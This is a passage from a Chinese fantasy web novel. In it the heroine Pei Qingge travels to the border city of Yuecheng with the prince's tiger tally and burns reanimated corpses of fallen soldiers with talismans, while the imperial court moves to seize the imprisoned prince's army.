“皇上特意交代我,不要把事情办得太绝,如今除了王府的人,其他的人都只是暂时看管,没有入狱。皇上其实不想要你的命,但是……也总得给他一个放过你的理由,对吧?” “皇上想要什么?”白锦夜转头看了一眼白玉衡开口问道。 “皇弟你是聪明人,这点事,还需要我说么?”白玉衡也看着他,“有些东西,其实不过是放在你那暂存,最终不还是皇上的么?你要是为了这本就不该属于你的东西,搭上自己……乃至这么多人的命,不值得吧?” 白锦夜轻笑了一声,“虎符是么?” 白玉衡没有说话。 “那你有什么好处呢?”白锦夜继续问道,“等我交出虎符,就有你来代管么?” “怎么安排虎符,那是皇上的事。”白玉衡话虽然这么说,但是眼底的一丝贪婪也还是没能掩盖住,“我也不过是帮皇上分忧而已。” 白锦夜点点头,垂眼看着地面,像是在思考,隔了好半天才说,“虎符不在我这。” “那在哪?”白玉衡见白锦夜松了口,就赶紧问。 白锦夜重新抬眼看他,“你转告皇上,让他死了这条心,虎符我不可能给他,但若是他敢伤害王府一个人的性命,幽州的大军恐怕会踏平京城。”他说着漫不经心地抚了抚袖口,“盛京做了这么多年都城,看都看逆了,我想月城来做都城好像也不错。” “你!”白玉衡瞪着白锦夜,骂他的话就在嘴边,可他毕竟不敢跟白锦夜硬碰硬,皇上都要避其锋芒,他不过是帮皇上办事。 皇上吃肉,他能喝汤。 皇上要是都没得做了,那他又算什么? “皇兄还有问题?”白锦夜见他半响也没说出这句话,便主动开口问道,“若是没有其他的问题,就去把我的话转达给皇上吧,我知道他的伤没有那么重,我杀过那么多人,下手还是有分寸的。” 白玉衡看着白锦夜眼里闪过的杀意,心头蓦地泛起一丝凉,脑海里甚至闪过一个念头—— 会不会本来白锦夜并没有谋反的心思,但是这一次,会把他逼上这条路? * 裴姝在破庙里过得很艰难,她用术法迷了野兔和山鸡跑进了破庙,又生了火,烤熟了肉,虽然难吃,但总算能饱腹。 她从没有过过这样的日子,哪怕从北冥国逃离的那段时间,也不曾如此委屈自己。 她试图想要骗一个人进来,即便是不能把阵胆转移到别人的身上,也多少能帮她传个口信。 可是三天过去,这里完全没有人路过。 怪只怪她当初选择的位置实在是太隐蔽了。 扔下一只啃了一半的鸡腿,裴姝有些不死心的想要再试试能不能招来人。 只不过术法还没用,就见到一个年轻的男子走进了破庙。 他抱着肩膀,看着裴姝,脸上带着几丝不屑,“混到这个份上,你可真够丢脸的。” 裴姝一开始还以为自己出现了幻觉,当发现对方真的是一个活人的时候,立马激动得站起身就要冲过去。 但对方只是随意地挥了挥手,她就瞬间失去了意识。 “要不是看你还有点用,真是懒得管你。”年轻男子拧着眉,拖着裴姝离开了破庙。 第116章 这将军府也够寒酸了(求推荐票,不要让我太寒酸呀) 在赶往月城的路上,裴清歌突然勒马停了下来,转身往盛京的方向看去。 “怎么了?”鬼卿也停下来,骑回到她身边开口问道。 “独活阵被破了。”裴清歌皱起眉头,眼里闪过疑惑,独活阵是她前几年自创的,甚至都还没有记下来,要破解也很麻烦,这么轻易的就被人破了么? 鬼卿也跟着皱起眉,“裴姝,还有帮手?” “不像是还有帮手。”裴清歌说着想了想,“她如果还有帮手,当时就不会为了让我把她放出来而告诉我那么多秘密了。” 她眯了眯眼,难道是裴姝嘴里的那个少祀官么? “不管了,我们先去月城。”顿了顿,裴清歌调转马头,继续往前走,就算她现在往回赶,回到盛京也是几天后了,那时候裴姝早就不可能再在盛京等着她了。 既然有人救她,那就是她命不该绝,她也没必要非得逮着她赶尽杀绝。 到了月城城外,裴清歌停下来看着前面的高耸的城门,微微皱起眉头,这整个城,都充满着肃杀之气。 她轻轻地叹了一口气,翻身下马,慢慢地往城门口走,因为是边城,所以进城出城都查的很严,他们没有进出城门的手令,不过她也没打算偷偷闯进去。 等队伍缓慢地排到她和鬼卿的时候,她也就直接拿出了虎符,“奉肃亲王之命,来找华擎华将军和倪徵倪将军,劳烦通传。” 守城的将领没见过虎符,但也看出来裴清歌手上这东西材质不凡,对方又顶了肃亲王的名讳,他不敢怠慢,先是把裴清歌和鬼卿请到了一边的亭子里,随即便立刻让人去通传。 没一会,便有个将军模样的人带着一队兵马前来。 裴清歌打量着他,这人外貌虽然粗犷,但是一双鹰眼锐利,有几分工于心计,不知道是姓华还是姓倪了。 他走上前,仔细地看了裴清歌手里的虎符,随后才开口道,“在下华将军座下彭之滨,不知姑娘如何称呼,王爷有何吩咐?” 裴清歌轻笑一声,“华将军和倪将军好大的架子,明知你们王爷的虎符到了,就派了个属下来问问?” 彭之滨顿了会,才道,“王爷此前传令,均是由何大人前来,属下等人从未见过姑娘,况且姑娘只拿着虎符,也没有手令,不得不谨慎些。” 裴清歌微微皱了下眉头,“事关重大,只能告诉华将军和倪将军。”她说着慢悠悠地收起虎符,“你们既然这么谨慎,那也可以先去查证,我先找个客栈住下,等你们查证完了,再来找我就是。”说完她迈步就往亭子外面走。 “等一下。”彭之滨跟了上来,“既然是奉王爷之名而来,断没有让姑娘住客栈的道理,姑娘可随我先去将军府。” 彭之滨说的将军府就在城中,只是一个两进的小院,连块匾额都没有,里面的装饰也很朴素。 裴清歌看着这院落,大概就算是敌人攻进月城,路过这门前,都不可能想到这会是将军府。 她皱了皱眉,转头看了鬼卿一眼,虽不知彭之滨是不是在跟他们兜圈子,但她也不认为这是真的将军府。 见到有人来,门房也迎了出来。 他僵直着一条腿,无法回弯,一瘸一拐的走了过来,“彭将军。” “嗯。”彭之滨应了一声,“这两位是盛京来的,要暂且住在将军府,你给安排一下。” 门房闻言看向裴清歌和鬼卿,倒是一眼认出了鬼卿,“这位大人曾经来这里找过何大人。” 裴清歌也看向鬼卿,鬼卿点点头。 那次楚星玄让他来给裴清歌送药,就是来这里找的何知。 “咱们小院只有两间房。”门房继续道,“这位大人可以住在何大人以往住的房间,那姑娘就只能住王爷的房间了。”他的语气有些试探,说完见彭之滨没什么反应,才继续道,“房间每日都打扫,两位直接住就可以了。” 彭之滨这才看向裴清歌,“月城穷苦,两位不要见怪,便先在此歇息,我还有事,就不送两位进去了,两位的事我会转告华将军。”说完一拱手就走了。 门房瘸着腿在前面带路,像是很久没有和人聊过天一样,一边走一边絮絮叨叨,“月城不比盛京繁华,两位贵客是奉王爷的命来的吧?千万别嫌这里寒酸。” “你们王爷,以往就住在这里?”裴清歌开口问道。 “是。”门房点点头,“不过其实王爷有一半的时间在军营。” 裴清歌微微皱了下眉,没有说话。 门房把裴清歌送到门口,又带着鬼卿去了他的房间,接着便去厨房安排厨娘准备膳食。 房子也不算隔音,裴清歌听得清楚厨娘问门房都做什么,要不要问问客人的口味。 门房当即做主,说都是盛京来的,按照王爷的口味做就行了。 裴清歌一边听着一边打量这房间,房间里除了一个简单的单人架子床以外,靠窗边有个书桌和一把椅子,外加一个不算大的衣柜。 另外一侧的墙上挂了一套铠甲,看着身形,倒像是白锦夜的。 她随手打开衣柜,里面除了一套寝衣外,只有两套布衣。 若白锦夜真的住在这里,那也算是清贫了。 正看着,刚才跟门房说话的厨娘敲了敲门,站在门口,有些羞赧地看着裴清歌,“姑娘,老陈说按照王爷的口味准备晚饭,但我想这姑娘家的口味怎么能跟男人一样,所以还是来问问你。”她说着手在围裙上搓了搓,“不过我也就是会做些家常便饭。” “我不挑食,做你拿手的就行。”裴清歌开口道。 厨娘想了会才说,“那做个羊肉烩酸菜,炖个羊肉,再炒个青菜?” 裴清歌甚少吃羊肉,但厨娘这么说,大概羊肉是她的拿手菜,或者这月城以羊肉巨多,她也没有挑剔,点了点头,厨娘就出去了。 晚上吃了饭,裴清歌都已经打算睡了,才听到外面有人说话,隔了会厨娘就来敲门,“姑娘,你睡了么?华将军来了。” 第117章 白锦夜在耍她! 裴清歌微微皱了下眉头,重新拿起刚放下的外衣,“没有,这就来。” 等她出了门,厨娘才有些不好意思地道,“姑娘,影响你休息了,不过华将军在城外巡防,刚刚回来,听说是王爷派了人来,怕耽搁,就立刻赶过来了。” “无妨,确实是急事。”裴清歌说着进了前堂,她也想早点拿了紫莲戒,好赶紧去西夜国解决瘟神蜮。 华擎一身风尘仆仆,站在堂上等着人,他听说是盛京来了个姑娘,拿着王爷的虎符,一时惊疑不定,只能赶紧亲自过来看看。 裴清歌看着堂上的人,脚步微微顿了下,华擎的右臂缺失,脸上斜着一道疤,疤痕掠过右眼,所以只有一臂一眼。 在原主的记忆里,她是知道在天风国有律法规定,残疾之人不得为官。 但华擎独眼独臂,依旧能得到白锦夜的重用,可见华擎的能力确实超凡,白锦夜用人也不拘一格。 她微微皱了下眉头,他年纪轻轻,就能成为天风国人人敬畏爱戴的战神王爷,确实有过人之处,若不是…… 她叹了口气,迈进了大堂。 华擎也打量着裴清歌,他倒是听说王爷回京之后就成亲了,之前何知来月城,他也私下向何知打探过,但何知对这位新王妃一字不提。 虽然月城距离盛京很远,可关于王妃的事,他们多少也听说了一些。不过消息到底没有那么灵通,他们只能凭着只言片语猜测。 总之不像是和王爷般配的模样,不少人猜测是皇上故意折辱王爷才有这样的安排。 但王爷可不是逆来顺受的性格,若真的被王爷接受的王妃,大概也不是谣言里的模样。 王爷身边也从未有过女子,如今王爷却派了一个女子来送信,这女子的身份也就呼之欲出。 “华将军。”裴清歌说着走到堂上的主位坐下,“坐吧。” 华擎没有动,隔了会才问,“姑娘如何称呼?” “不重要。”裴清歌说着把虎符拿出来,放在桌上,“虎符是你家王爷给我的,你们见到这虎符,应该知道怎么做。” 华擎看着桌上的虎符,他自然认识,这就是王爷手上那三分之一块虎符,此物倒是不会有假,“王爷已经接到我们的密信了?”说着他又摇了摇头,“不会,密信是三天前送出去的,王爷如今也应该刚看到密信,不可能派的人已经到了月城。” 他说完沉默了下,才看向裴清歌问道,“王爷是不是出了事?” 裴清歌扫了他一眼,“王爷说,你们会听命于虎符。” 华擎摇了摇头,“我们只听命于王爷,姑娘若是替王爷传信,便直说王爷的口信,若是不说……”他说着把腰间佩剑拔出一半,“我只能认为姑娘是以什么方式取得了虎符,那就只能说句抱歉了。” 裴清歌皱起眉头,随手拿起虎符把玩,“你的意思是,就算你们见到虎符,见不到王爷,就什么都不会听,是么?” 华擎没说话,但脸上的表情已经肯定了裴清歌的话。 该死的白锦夜! 裴清歌把虎符拍在桌子上,这分明是在耍她! 她站起身,“我问你,之前你们王爷是不是派人送过来一枚戒指?” 华擎摇了摇头,“我不知道你在说什么,但是姑娘问下一句话之前,最好先告诉我你的身份,不然我也不会再与你多言。” 微微吸了口气,裴清歌并不想动手,便开口道,“我是左辞的表妹,你可以派人去京中向他打探。你们王爷之前应该派人送过来一样东西,可能装在什么盒子里,但里面是一枚戒指。他给我虎符,说我只要把虎符给你和倪将军看,你们就会把那样东西交给我。” 华擎沉默了会,才道,“王爷前段时间确实送过来一件这样的东西,但他交代的是,日后王妃会来取走,也没说什么虎符的事。再说,我与左辞交好,他孤家寡人一个人,可没有什么表妹。”他说着眸色沉了沉,“虎符不在王爷手上,只有一种可能,王爷出事了。” 随即他就拔出剑,指着裴清歌,“盛京发生什么事了,王爷到底怎么了?” 裴清歌的手收在袖子里微微捏了捏,正欲说话,目光却落在华擎的剑刃上。 她皱起眉头,抬手在剑刃上抹了一下,又把指腹凑到鼻子下面闻了闻,“你刚才去哪了?你这剑刺过什么东西?” 华擎没再废话,挥剑就向裴清歌刺来。 裴清歌侧身躲过,双指捏住剑身,轻轻一折,剑身就应声而断。 华擎愣了一下,迅速的后退了几步,警惕地看着裴清歌,又问第三遍,“你到底是谁?” 裴清歌手里捏着断剑,“这是枯尸的味道,你总不会去掘别人祖坟,你刚才去哪了?”她说着往前一步,“你再不说,死的可就是你旗下的将士!” 华擎拎着手里的断剑,他知道自己不是裴清歌的对手,对方若是有杀心,他大概也活不过几息。 而且此事确实事关重大…… 沉默了半响,他把半截剑收回剑鞘,才道,“三日前,月城外来了几个看着已经死了很久的枯尸,不知道为什么它们还能走路,这一看就不是活人,况且……又是沙漠的方向来的,我们只能当即斩杀。” “不过简单的砍刺没办法致死,要么把它们切成碎块,要么就直接焚烧。” “三日前,我们就给王爷写了密信。这几日还是陆续的有枯尸出现在城外,好在数目不多,只要一出现,就能立刻处理掉。” “从沙漠的方向来的?”裴清歌皱起眉头,“现在还有么?被你们切成碎块的也行。” “之前出现的都被焚烧了。”华擎说着顿了下,“不过它们一直都在不断的出现,我刚带着人寻了一天,现在换倪将军带人去了。” “你带我去。”裴清歌又道。 华擎摇了摇头,“姑娘若一直隐瞒自己的身份,那就算我今天死在这,也什么都不会给你,更不会带你去任何地方。” 裴清歌一边往外走,一边皱着眉道,“我是裴清歌。” 果然是王妃,华擎嘴角勾起一抹笑,跟着裴清歌出了门。 第118章 这是你从哪请来的会做法的大师? 月城北门自出现枯尸之后,就一直是关闭的状态,除了华擎和倪徵带人出去巡防,此外一律不得开启。 出了城门,华擎对着身后跟着的一队士兵开口道,“你们三个人一组,散开寻找枯尸,遇到枯尸不要恋战,直接发信号,若是遇到倪将军,也发个信号出来。” “不用。”裴清歌抬手阻止,转头看向鬼卿。 鬼卿大概辨别了一下方向,抬手指了指,然后骑着马当先赶过去。 华擎微皱了下眉,策马走在裴清歌的身边,“他能找到枯尸在哪?” “是。”裴清歌点点头,“华将军若是巡防一天累了,可以回去休息。我本来也只需要你带我出城。”她说着顿了顿,“毕竟我们要是偷偷出城,就没有马可骑了。” 华擎怔了下,敢情他只是个开城门的,“属下武功虽不及王妃,但也不看着王妃以身犯险,属下跟王妃一起去。” “随你。”裴清歌说了句,就继续追鬼卿了。 往城外大概走了二十里,便听到前面有刀剑声和打杀声,听起来异常激烈。 华擎知道是倪徵的人,下意识的加快了马速,跑出去了几步才想起什么,又赶紧放慢速度看向裴清歌,“王妃,应该是倪将军的人遇上枯尸了。” 裴清歌点点头,这么远,她都感受到尸气了,这一波枯尸看起来数目不少。 不等再说话,前面就有个人骑着马狂奔而来,见到华擎,急急地勒停了马,说话都上气不接下气,“华……华将军,前面,前面好多枯尸,我们……我们挡不住了,倪将军让属下回城通知你加派人马过来。” “多少?”华擎赶紧问道。 “不知道。”那传信的人说完又赶紧补充,“可能几百个,也可能上千个,太多了!” “王……”华擎正要说让裴清歌先回城内,如果她想看枯尸,他们大不了努努力活捉一个给她看就是了,可话还没说出来,就见裴清歌像是离弦的箭一样,“嗖”的就骑马蹿了出去。 他一看当即就急了,王妃若是在月城出了什么事,他万死难辞其咎,“你马上回城通知彭将军,让他带一万兵马出城。”说完也不敢再停留,立刻往裴清歌的方向追去。 鬼卿是最先到的,他救出了几个已经被枯尸围着已经毫无反击之力的人。 一旁只剩招架之力的倪徵看了一眼,朝他吼道,“这位兄弟,感谢你仗义出手,但这鬼东西实在太多了!劳烦你带着我这几个属下赶紧离开,我来挡……一档。” 鬼卿瞥了他一眼,一脚踹开他面前的几个枯尸,顺手抓住他的腰,把他扔出了枯尸的包围。 倪徵在地上滚了几圈,重新站起来,之前的枯尸四肢僵硬,行动磕磕绊绊,很是不灵活,所以也比较好解决。 但是这一波枯尸身形灵巧了很多,对付起来就有点难了。 他们用火把点燃了几个枯尸,可剩下的枯尸就像潮水一样涌上来,他们的火把早就不知道被扑到哪去了。 枯尸根本就进不了鬼卿的身,但胜在数量多,于是又分出一波朝着倪徵和他的下属扑过来。 倪徵看着旁边已经受了伤的士兵,吼道“你们先撤!” “将军,我们不走。”士兵们也站起来,“我们只要再挡片刻,等到华将军带人来就好了!” 话是这么说,可是送信的人刚走片刻,华擎哪能来的那么快? 倪徵咬了咬牙,拔剑拦腰砍断一具枯尸,但那两截尸体依旧在往前扑,“这该死的东西!”他吼着也发了狠,也不管什么章法了,猛地砍着面前的枯尸。 “鬼卿,它们数量太多,杀不过来,把它们都赶到一起。”裴清歌说着从马背上跃下,从袖子里拿出符咒,绕着枯尸群,在地上隔一段就放一张符咒,遇到跑出符咒圈的枯尸,就一脚踹回去。 片刻后,她手里捏着最后一张符咒,看向鬼卿,“出来,顺便抓一个活的。” 鬼卿从圈里退出来,一只手拎了具枯尸,另一只手顺便带上杀红了眼的倪徵。 裴清歌把最后一张符咒放下,一个火圈从她放符咒的地方升起,随即向中心靠拢,立刻就点燃了靠在最外面的枯尸。 它们都被围在圈里,即便是着了火,也没办法从圈里逃出来,只能硬生生地被烧着。 裴清歌转身走到鬼卿身边,捏了张符咒贴在还在挣扎的枯尸身上,它立刻不动了,鬼卿也就放开了手。 被鬼卿扔在地上的倪徵还喘着粗气,他看着裴清歌和鬼卿两个人,脸上充满了疑惑,转头看向一边的华擎,“这是你从哪请来的会做法的大师?” “什么大师?”华擎抬腿佯装踢了他一脚,“这是王妃。” “王妃?”倪徵本来都已经脱力了,但听了华擎的话,还是一下子从地上跳起来,抬手对着裴清歌作揖,“属下不知是王妃,未能及时给王妃问安,王妃见谅。” 裴清歌随意地摆了摆手,没有理会他,而是认真地看着面前的枯尸。 这尸体的皮肤紧紧地贴在骨头上,尸体上没有一丝水分,应该是在鬼王沙漠里死的,那里太热太干,所以才没有腐烂。 他的衣服都已经破烂,一碰就碎了,不过裴清歌还是在衣服的角落里看到一行绣着的字。 那字歪歪扭扭,又有些模糊,辨认了半响,才认出来,“西河,丁礼,这是什么?” 倪徵一听赶紧凑上来,仔细看了半天,喃喃地道,“这是……这是我们的士兵?” 华擎怔了一下,“难道是……”他说着顿了顿,看向裴清歌解释,“士兵衣服上都会绣着自己的籍贯和名字,用来辨识身份。当然最大的用处,其实是战死沙场后,能分辨尸首,这样骨灰才能魂归故里。” 裴清歌看着这枯尸的模样,顿了顿才道,“所以,这是十五年前‘围北之战’里,天风国士兵的尸体。”她说着看向鬼王沙漠的方向,“当初他们死在了那片沙漠里,这么多年,尸体也就留在那,现在……不知道什么原因,他们竟然自己出来了。” 华擎和倪徵对视了一眼,隔了好半天,华擎想起了什么,对着身边的士兵道,“赶紧,赶紧把这些天焚烧的骨灰,能收集的都收集起来,在城内找个地方一起葬了吧,就算分不出是谁,起码把他们葬在天风国的国土上。”说完才想起向裴清歌请示,“王妃,这样可以吧?” 裴清歌没心思理会这些安排,她的眼底闪过一抹惧意,“天呐,如果当年所有的尸体全都爬出来,几十万的枯尸,月城怎么抵挡得住?” 第119章 皇上想要兵权是想瞎了心么?(九月最后一周求推荐票) 华擎和倪徵一听也慌了,这还哪顾得上收骨灰,沙漠出来唯一的通路就是月城,若是当年死的人,如今全变成枯尸爬回来,别说月城能不能抵挡得住,怕是整个幽州、整个天风国都要毁于一旦了。 裴清歌收回目光,仔细的检查了一遍这枯尸。 若是有人用了御尸术或者控尸术,那一定得是非常巨大的法阵以及非常高深的术法造诣,她不太相信这世上会有这样的人存在。 不过裴姝嘴里的那个少祀官,听起来术法倒是极其高深,可他似乎也没有必要这样做。 他既然让裴姝去解决那个瘟神蜮,就证明是不愿意见到生灵涂炭的,又怎么可能会放出这些枯尸? “嗯?”裴清歌突然眯了眯眼,抬手一抓,抓到这枯尸仅剩不多的一点残魂。 残魂都已经不成形态,却像是带着一丝执念。 裴清歌皱起眉头,手一松,残魂就散了,并不是控尸术,是这些枯尸本就不是正常死亡,魂魄依旧在尸体周围徘徊,这么多年过去,大部分魂魄消散,剩下的残魂也就仅剩下一点点关于人世的执念。 而这些士兵,在死之前,最大的执念就是走出沙漠,活着回家。 所以操控这件事的人,根本不需要什么阵法,只要稍稍施点术法,把他们的魂魄塞回到枯尸里,这些残魂就会带着自己的尸体,走上回家的路。 残魂早就没了其他的意识,所有拦在他们回家路上的人,都是他们的敌人。 裴清歌看了鬼卿一眼,鬼卿会意,把这具枯尸扔进了火里,“先回去吧。” “那这……”华擎看着火圈里大部分枯尸身上都起了火,但是还是在不断的挣扎想要跑出来,“不会出事吧?” “华将军不放心,可以留下几个人看守。”裴清歌说着顿了顿,看向鬼卿,“你留下跟他们一起看着,等火势灭了,再回来。” 鬼卿点点头。 裴清歌翻身上了马。 华擎留下了几个人,剩下的人带着倪徵和他受伤的属下一起往月城走。 快到城门的时候,便见彭之滨带着大队人马出了城。 华擎过去安排,裴清歌就和倪徵先去了将军府,不多时,华擎也到了。 三人坐在堂上,沉默了会,华擎才开了口,“王妃,刚才你那招,那么厉害,咱们提前布置好,等枯尸到了,把它们引进埋伏,直接烧了,不就一了百了?” 裴清歌把袖子里剩下的符咒拿出来,也就剩下十来张,“刚才就用掉了我几个月来没事就画才积攒下来的符咒,现在就剩下这么多,哪有时间画那么多符咒?” 华擎皱了下眉,试探地问道,“那不如王妃把符咒的样子给我们,多找些人画?” 裴清歌有些无语地看着他。 “别人画的大概没用吧。”倪徵赶紧说了句,接着道,“不过这些枯尸都是慢慢出来的,咱们应该有时间部署,况且他们好像什么都不懂,没什么章法,总比跟其他国家的大军对上要好。” “王爷要是在就好了。”华擎忍不住道。 “王爷应该看到密信了。”倪徵盘算着,“他如果立刻启程,快马加鞭,说不定三四日就到了。” “那咱们也还是得提前准备。”华擎说着想了想,“王妃,你看如果咱们在月城外面挖一道深坑,这些枯尸掉下去,应该很难爬上来,然后咱们直接往里面倒火油,来一波烧一波,这样行不行?” “月城有多少兵马?”裴清歌没有回答,反倒开口问道。 “十万。”华擎回道,“城内有两万守军,剩下的都在城外大营。王爷其余的兵马都在幽州各处,有军令也可以即刻赶来。” “军令?”裴清歌皱了下眉,“虎符?” 华擎和倪徵对视了一眼,半响后,倪徵才有些尴尬地开口,“王爷的令牌。” 裴清歌轻笑一声,“他早就知道有人对虎符虎视眈眈,所以从未用虎符调兵遣将。那如今他不在,也没有他的令牌,也就只能调动月城的兵马了?” 倪徵点点头。 “十万。”裴清歌的指尖轻轻地敲着桌面,盘算了会,才问,“那城里有多少百姓?” “八千余人。”倪徵回道。 “先把这些百姓迁走。”裴清歌开口道,“幽州都是你们王爷的地盘,其他城池应该可以暂且接收吧?” 倪徵苦笑了一声,“这百姓迁徙,也是大事,没有王爷的手令……” 裴清歌拧着眉,“那如果你们王爷来不了呢?” “王爷看到密信,绝不会无动于衷。”顿了顿华擎想到什么,压低了声音问,“王妃,王爷不会真的出事了吧?” “把月城的地图拿给我,剩下的事,你们自己看着办吧。”裴清歌说着站起身,犹豫了下,把桌上的十来张符咒推到两人的面前,“带在身上防身用吧,多的也没有了。”说完离开了前堂,回了房间。 华擎和倪徵在堂上又坐了半响,才开口,“恐怕……王爷真的出事了。” 倪徵点点头,“这个当口上,我们也没办法带兵回援。” “那信,大概也送不到王爷手上了。”华擎叹了口气。 “那就给皇上写信。”倪徵眯了眯眼。 “可如今王爷出事,咱们写信说边关出事,皇上也恐怕根本不会相信。”华擎拧着眉,“那该如何?” “他不信,那就御驾亲征,看看咱们是不是骗他。”当然倪徵也知道,自己这句话说出来不过就是过个嘴瘾,沉默了会,他继续道,“王妃不说,具体是怎么回事咱们也不知道,不过送信的人只要进了盛京,应该能带些消息回来……” “报!”一个士兵走到门口,手上拿着一道明黄的圣旨,“华将军,倪将军,京中传了圣旨。传旨的大人已经被送去驿站安顿,这是圣旨。” 倪徵起身走过去接过圣旨,一目十行的看完,眸色震惊,转手把圣旨交给了华擎。 圣旨上说,肃亲王谋反并刺伤皇上,如今已经被打入天牢等候发落。肃亲王管辖的军队暂时全都原地待命,等皇上指派的人过来接管。此前任何军队有异动,都会被当做肃亲王的同党,以谋反罪处置。 “不可能!”华擎把圣旨摔在地上,气不过又上前踩了两脚,“什么狗屁圣旨?王爷才不会谋反!皇上想要兵权是想瞎了心么?” 第120章 王妃可能有问题 裴清歌第二日一早,照例起卦的时候,没有再问吉凶。 这是她这么多年来,第一次给自己起卦不问吉凶,而是断事。 卦象上显示,这次枯尸的事可以解决,可变数太多,六爻里有五爻都是有变化的。可以说,任何一点变动,对结果都会造成一定的影响。 在桌边坐了好一会,裴清歌捏着手里的铜板,犹豫了半响,又起了第二卦。 这第二卦是替白锦夜问应劫。 她之前看他面相,知道他年底有个大劫。 但如今到年底只剩下两个月。 这次的卦象显示白锦夜应该是子月辰日应劫,冬月便是子月,而整个冬月里,只有初七和十九是辰日,下一个辰日就到腊月了。 裴清歌皱起眉头,说是年底,如今看最多也不过就是二十多天了。 那么,要么谋反的事是大劫,要么就是这一次的事情。 她叹了口气,听厨娘在门外说早饭备好了,便收起了铜板,往前堂走。 正吃着,厨娘走了过来,手上拿着一个卷轴,“王妃,这是华将军留给你的月城的地图,他说是你需要的。” “多谢。”裴清歌接了过来,提前做些准备的话,依照月城的地形,能省不少事。 “他一大早上就送来了。”厨娘继续道,“本来是要等王妃起床的,不过他说是盛京来了个传圣旨的大人,他带他出城去转转,看看月城的风土人情,就先走了。” 裴清歌本来在喝粥,听到这句话,眉头微微皱起,如果盛京来了人传旨,应该就是为了接管大军,估计华擎和倪徵已经知道了白锦夜的事情。 她捏着手里的勺子,不过他们不会知道其中缘由,以及以目前的情况来看,他们也没办法分心回援。 至于说现在华擎带传旨的人去看月城的“风土人情”,怕是直接带着他去看枯尸了。 既然是来传圣旨的,那自然是皇上的自己人,看到枯尸,回去定会禀明皇上,皇上就一定会派人过来。 若是来的人全都没有办法解决,那么最后皇上就不得不考虑重新启用白锦夜,大不了对外就说皇上仁慈,给白锦夜一个将功赎罪的机会。 可如今白砺寒好不容易抓到白锦夜的把柄,又怎么会轻易把他放出来? * 裴清歌猜的没错,华擎确实是带着传旨的公公到城外看枯尸了。 那枯尸朝公公扑过来的时候,他当场吓尿了裤子,眼睛一闭就晕了过去。 华擎一脚踹开压在公公身上的枯尸,默默地翻了个白眼,叫人赶紧把公公弄醒。 公公醒来后,看着华擎他们火烧枯尸,吓得直哆嗦,说什么也不看风土人情了,回驿站换了身衣服,就要立刻启程回京。 华擎一路把公公送到月城南门外,随即便去找倪徵汇合。 “公公走了?”倪徵一边擦着剑刃一边问。 “走了。”华擎笑得开心,“我特意看着那枯尸扑倒他,咬了他一口,才上前去把枯尸踹走,那公公吓得不行,回去估计要说得添油加醋。” “说得越严重越好。”倪徵说着叹了口气。 华擎点点头,顿了下才说,“但……我感觉,王妃可能有问题。” 倪徵挑眉看他,“怎么说?” “我向那公公打听了下京里的情况,公公说王府的人全都被抓进了天牢,包括王妃。如果王妃被抓进了天牢,那月城的这个是谁?”华擎说着拧了拧眉,“她来的时候,不肯承认自己的身份,甚至说自己是左辞的表妹,而且也根本没有透露王爷出事,只是想要王爷前段时间送来的东西。” “东西暂时不能给。”倪徵把剑收进剑鞘,“昨晚看她,应该是能处理这些枯尸的,咱们也就先稳住她,要是她能帮着一起处理枯尸就最好,如果不能……”他说着微微眯了眯眼。 华擎和倪徵配合多年,自然明白他没说出口的话是什么意思,心领神会地点点头,随后道,“我已经命人在城外开始挖深壕了,城内也在收集火油,所有箭尖都开始动手绑浸了火油的布,真有大批的枯尸来,就放火箭。” “准备的事就交给你了,我继续带人去清缴目前零星出现的枯尸。”倪徵点点头。 “小心。”华擎说完,就赶紧转身走了。 * 裴清歌列了一张单子交给厨娘,让她帮忙去采购之后,就带着地图跟鬼卿出了城。 爬到山顶的时候,她也远远地看见有将士在挖深坑,她皱了下眉,像是在跟鬼卿说,又像是自言自语,“如果枯尸数量太多,前面枯尸掉进深坑,怕是他们都来不及点火,后面的枯尸就压上来了,到时候这坑很快就填满,根本挡不住后面的枯尸。” 鬼卿也看过去,顿了顿才问,“那去阻止,他们,做些,应该做,的事。” “没用。”裴清歌摇了摇头,“他们没那么相信我们,再说也没什么可让他们做的,我们就做好我们能做的吧。” 她说着转身看着周围的地势,“那么多的枯尸,根本不可能完全消灭,假设到时候他们到了城下,但是不奔着城里,反倒是散进山里,那根本就没办法逐一追踪,所以这件事还得从根本上解决。” “它们的执念是想要回家,要么完成它们的执念,要么散了它们的执念。” “前者不可能,那就只能想办法打散它们的执念了。” “我打算以这座山为根基,设一座阵法,要忙不少时间了。” 裴清歌要的东西太多,厨娘只能陆续采购,但她阵法也不是一天能画完的,所以每日厨娘采购回来的东西,倒也能够供应。 第五天的时候,裴清歌正要和鬼卿出门,就在路上碰到急匆匆从外面赶回来的华擎。 “这是怎么了?”裴清歌看着脸色铁青的华擎问道。 华擎知道这几日裴清歌和鬼卿白天出城上山,晚上回将军府,他也看过厨娘采购的东西,无外乎是些符纸、朱砂一类的,再加上他自己也有事要忙,就没特别关注她到底在做什么。 听到裴清歌主动询问,华擎犹豫了下,才回道,“王妃,那日倪徵几人被枯尸围攻的时候都受了伤,今日倪徵突然晕倒,询问之下才知道他那几个属下前两日开始就高烧不退,属下正要去看看。” 裴清歌皱起眉,想了会,“可能是尸毒,我跟你一起去看看吧。” 第121章 怕是白锦夜要来月城了 华擎听了裴清歌的话,暗地里有些迟疑。 那几人都在城东的军营,裴清歌要去看,就势必要去军营了。 这几日裴清歌在城内城外的转,只要不涉及军事上的事情,他和倪徵就也没多问,但这去军营可不是一般的事。 犹豫片刻,想起那天裴清歌处理枯尸的情形,华擎又觉得如果真的是因为枯尸的尸毒,让裴清歌过去的帮助应该更大些。 大不了到时他仔细盯着裴清歌这两人就是。 “行,那咱们得赶紧过去了。”华擎点点头。 半个时辰后,三个人到了城东的军营。 “先去看倪将军吧。”裴清歌开口道,“如果都是因为被枯尸咬伤,只看一个,剩下的也就知道怎么处理了。” 华擎应了一声,带他们进了倪徵的营帐。 军中的军医正在替倪徵诊治,只不过倪徵丝毫没有醒来的迹象。 床前还站着倪徵的两个亲兵,以及一个二十岁上下的年轻男子,那男子见到华擎,转身作了个揖道,“华伯伯,我爹还在昏迷,已经试了各种方式,还是没办法醒来。” 军医已经急得满头是汗,此刻都有些不知所措了。 “我来看看。”裴清歌上前一步。 倪徵的儿子倪君羡看了看裴清歌,又看向华擎询问。 华擎没说话,只是对他做了个手势,示意他让开些位置。 如今裴清歌的身份,除了他和倪徵以外,就只有将军府的门房和厨娘知道,在不确定裴清歌是敌是友之前,他们也不打算对外公开裴清歌的身份。 